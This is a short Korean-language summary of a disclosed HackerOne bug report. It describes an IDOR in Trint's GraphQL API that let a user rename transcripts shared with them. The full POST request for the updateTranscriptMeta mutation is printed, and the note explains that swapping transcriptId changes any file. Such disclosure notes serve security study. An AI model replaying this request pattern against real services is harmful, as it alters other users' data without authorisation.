hackerone-trint-2019-06-m-547663

IDOR in changing shared file name

보고서

파일 이름을 변경하는 기능에 IDOR가 있었다. 원래는 자신의 파일만 수정할 수 있어야 하는데, 타인에게 공유 받은 파일의 이름도 변경이 가능했다.

POST / HTTP/1.1
Host: graphql2.trint.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.trint.com/trints
content-type: application/json
Authorization: Bearer token..
X-Trint-Request-Id: 34ba5627-d874-4be1-8f9b-5b1415c2f0a5
X-Trint-Super-Properties: {"distinct_id":"5cc05c8f03c35799283fe3b7","$device_id":"16a4f88b2e22dc-07342bd7a0305c8-4c312c7c-144000-16a4f88b2e3be9","$initial_referrer":"$direct","$initial_referring_domain":"$direct","returningUser":true,"$user_id":"5cc05c8f03c35799283fe3b7"}
Origin: https://app.trint.com
Content-Length: 536
Connection: close

{"operationName":"updateTranscriptMeta","variables":{"userId":"5cc05c8f03c35799283fe3b7","transcriptId":"dM3YxaINQGyWceq5rUzVog","transcriptName":"W00"},"query":"mutation updateTranscriptMeta($userId: String!, $transcriptName: String!, $transcriptId: String!) {\n  updateTranscriptMeta(userId: $userId, transcriptMeta: {trintTitle: $transcriptName}, transcriptId: $transcriptId) {\n    ...RenameTrintFragment\n    __typename\n  }\n}\n\nfragment RenameTrintFragment on TrintMetadata {\n  _id\n  trintTitle\n  updated\n  __typename\n}\n"}

POST 인자에서 transcriptId를 변경하면 아무 파일이든 변경이 가능한데, 이 ID를 예측하기는 어려우니 공유 받은(그래서 해당 파일의 transcriptId를 알 수 있는) 시나리오를 예로 들은 것 같다.


tags: bughunting, wstg-athz-04, idor, web hacking, severity medium